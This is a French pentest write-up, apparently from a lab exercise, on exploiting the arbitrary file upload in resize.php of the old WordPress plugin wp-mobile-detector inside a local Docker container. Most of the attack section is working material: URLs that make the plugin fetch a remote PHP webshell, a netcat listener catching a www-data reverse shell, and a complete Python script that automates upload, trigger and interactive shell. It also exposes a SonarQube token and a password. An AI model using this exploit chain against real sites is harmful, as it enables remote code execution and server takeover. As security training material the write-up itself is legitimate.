🔐Pentest wp-mobile-detector
On commence tout d'abord par créer l'environnement docker.
Comme ici le plugin wordpress à auditer est assez ancien, il est nécessaire de passer par un conteneur :
# Sur ma kali
docker run --name wordpress -p80:80 -d thiagobarradas/wordpress:4.5-php7.2
MDP : Mudar123
On peut ensuite s'y connecter :
# Shell dans le docker
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
208f62cd787e thiagobarradas/wordpress:4.5-php7.2 "/run.sh" 6 hours ago Up 5 hours 0.0.0.0:80->80/tcp, :::80->80/tcp, 3306/tcp wordpress
$ docker exec -it 208f62cd787e bash
# Dans le docker
root@208f62cd787e:/app#
Il faut ensuite paramétrer le plugin de façon à augmenter la limite de taille et omettre la configuration du serveur FTP :
root@208f62cd787e:/app# vim php.ini
# Ajouter les directives suivantes :
upload_max_filesize = 64M
post_max_size = 128M
memory_limit = 264M
root@208f62cd787e:/app# vim wp-config.php
# De même :
define( 'FS_METHOD', 'direct' );
On peut commencer à chercher les occurrences mentionnées sur le sujet dans l'archive dézippés du plugin. A savoir les requêtes HTTP utilisées en PHP à l'aide variables commençant par un "$_" :
grep -E -n '\$_GET|_COOKIE|_POST|_HEAD|_REQUEST|_PUT|_DELETE|_CONNECT|_OPTIONS|_TRACE|_PATCH' $(find . -name "*.php")
Ici on fait un regex (expression régulière), nous permettant de trouver toutes les variables présentes dans tout les fichiers .php des fichiers présents dans l'archive.
On obtient ainsi en output :
[...]
/wp-mobile-detector/resize.php:3:
$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
./wp-mobile-detector/resize.php:28:
file_put_contents($path, file_get_contents($_REQUEST['src']));
./wp-mobile-detector/resize.php:38:
$thumb -> Thumbsize = ($_REQUEST['w'] > 0 && $_REQUEST['w'] <= 320 ? $_REQUEST['w'] : 320);
[...]
Un détail saute aux yeux directement, il s'agit de la fonction "file_put_contents" présente dans le fichier de redimensionnement d'image "resize.php". Elle dépose un fichier passé en paramètre après "src" :
file_put_contents($path, file_get_contents($_REQUEST['src']));
En examinant le fichier plus en détail :
file_put_contents($path, file_get_contents($_REQUEST['src']));
if(file_exists(dirname(__FILE__)."/libs/image/PHP5/easyphpthumbnail.class.php"))
{
if (defined('PHP_MAJOR_VERSION') && PHP_MAJOR_VERSION >= 5)
{
include_once(dirname(__FILE__)."/libs/image/PHP5/easyphpthumbnail.class.php");
}
else
{
include_once(dirname(__FILE__)."/libs/image/PHP4/easyphpthumbnail.class.php"); }
try
{
$thumb = new easyphpthumbnail;
$thumb -> Thumbsize = ($_REQUEST['w'] > 0 && $_REQUEST['w'] <= 320 ? $_REQUEST['w'] : 320);
echo $thumb -> Createthumb($path);
exit();
} catch (Exception $e)
{
// $e->getMessage()
}
}
"file_put_contents" fait appel ici au tableau associatif $REQUEST pouvant être manipulé par l'utilisateur. On peut donc y passer une valeur, ici un fichier, après le paramètre "src", prenant son chemin absolu, avec "dirname".
Le fichier est ensuite déposé dans le dossier "/cache/" du plugin :
$path = dirname(__FILE__) . "/cache/" . basename($_REQUEST['src']);
De plus, aucune vérification d'extension ni sanitisation n'est faite sur la valeur passé en paramètre, qui est ici un fichier. On peut donc d'emblée essayer d'y uploader un fichier.
On commence d'abord par démarrer notre serveur Python dans u répertoire prévu à cette effet. Ici, on essaye d'abord avec un fichier .php sans rien à l'intérieur :
mkdir server
┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin]
└─ cd server/
┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─ echo "hello world" > hello.php
┌──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─ python -m http.server 9000
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
On accédant à la page, rien ne se trouve en front (ce qui est normal) :

Mais en insérant un paramètre dans l'url qui redirige directement vers notre fichier : http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/hello.php

On peut maintenant se rendre dans la page où est stockée le fichier, à savoir "/cache" :
http://localhost/wp-content/plugins/wp-mobile-detector/cache/

Notre fichier php est bien uploadé ! Sans plus attendre, on peut dès maintenant y insérer un Webshell, généré avec le superbe outil http://revshells.com :

Le fichier est désormais enregistré en tant que "shell.php". Après avoir séléctionné notre payload et mis le port et l'adresse IP, on peut mettre un netcat en listener :
$ nc -lvnp 9001
Puis ensuite remplacer notre hello.php en un shell.php :
$ mv hello.php shell.php
Puis on pointe notre webshell vers notre nouveau fichier : http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/shell.php

Puis dans notre netcat :
──(root💀el-huervo)-[~/Documents/reverse_meyer/wordpress_plugin/server]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [172.18.0.1] from (UNKNOWN) [172.17.0.2] 35112
Linux 208f62cd787e 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali1 (2023-02-20) x86_64 GNU/Linux
15:04:39 up 5:49, 0 users, load average: 0.11, 0.07, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ id
www-data
Et nous sommes connectés !
Analyse statique à l’aide d’un outil dédié :
On choisit d'abord de l'installer dans un Docker :
docker pull sonarqube
Création d'un conteneur Docker nommé "sonarqube" et l'exposer sur le port 9000 :
docker run -d --name sonarqube -p 9000:9000 sonarqube
Se connecter en http://localhost:9000 puis créez un projet et notez sa clé :

// Token projet wordpress
sqp_426b09312d11c799be029d732080daade6585261
Télécharger et installez le scanner SonarQube pour sur notre machine locale, puis l'utilisez pour analyser l'archive du plugin:
curl https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-4.8.0.2856-linux.zip
unzip -d . sonar-scanner-cli-4.8.0.2856-linux.zip
../../sonarqube/sonar-scanner/bin/sonar-scanner
-Dsonar.projectKey=Wordpress
-Dsonar.sources=.
-Dsonar.host.url=http://localhost:9000
-Dsonar.login=sqp_426b09312d11c799be029d732080daade6585261
Cette commande va analyser le code PHP dans le répertoire actuel et envoyer les résultats à SonarQube.
On retourne sur l'interface web de SonarQube et accédez à votre projet. On voit maintenant voir les résultats de l'analyse de code PHP :

Rédaction d'un script python pour automatiser la tâche
Il est maintenant temps de créer un script nous permettant d'obtenit un accès complet au serveur :
import http.server
import socketserver
import requests
from urllib.parse import quote
import threading
from requests.models import PreparedRequest
from http.server import BaseHTTPRequestHandler
import socket, sys, time
import netifaces
from urllib.parse import urlparse, unquote
import os
# Glob vars
print("Don't forget the run a python http web server to host your payload : $ python3 -m http.server PORT_NUMBER")
UPLOAD_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/resize.php"
GETSHELL_ADDR = "http://localhost/wp-content/plugins/wp-mobile-detector/cache/"
IP_ADDR = input("Please provide your IP : ")
PORT = input("Please prove a port : ")
PAYLOAD = input("Please provide your payload : ")
# starting the listener
def listen(ip,port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# same as previously
s.bind((IP_ADDR, port))
s.listen(1)
print("Listening on port " + str(port))
conn, addr = s.accept()
print('Connection received from ',addr)
while True:
#Receive data from the target and get user input
ans = conn.recv(1024).decode()
sys.stdout.write(ans)
command = input()
#Send command
command += "\n"
conn.send(command.encode())
time.sleep(1)
#Remove the output of the "input()" function
sys.stdout.write("\033[A" + ans.split("\n")[-1])
def startingAttack():
# getting the http web server address
protocol = "http"
attack_param = f"{protocol}://{IP_ADDR}:{PORT}/{PAYLOAD}"
print("Attack param to send : ", attack_param)
# testing the parameters utils
# for the uploading url
req = PreparedRequest()
url = UPLOAD_ADDR
# params with ip and file from the http server
params = {'src':attack_param}
# Passing params and decoding
req.prepare_url(url, params)
upload_url_param = unquote(req.url)
print("Upload URL: ", upload_url_param)
# Same for the getshell_addr
url_with_payload = GETSHELL_ADDR + PAYLOAD
print("Getting a shell at : " + url_with_payload)
# A GET request to the URLs
upload_response = requests.get(upload_url_param)
#print(upload_response)
# To obtain a shell
os.system("curl " + url_with_payload)
#print(attack_response)
startingAttack()
listen("127.0.0.1",9999)
On automatise ainsi directement l'attaque :

Last updated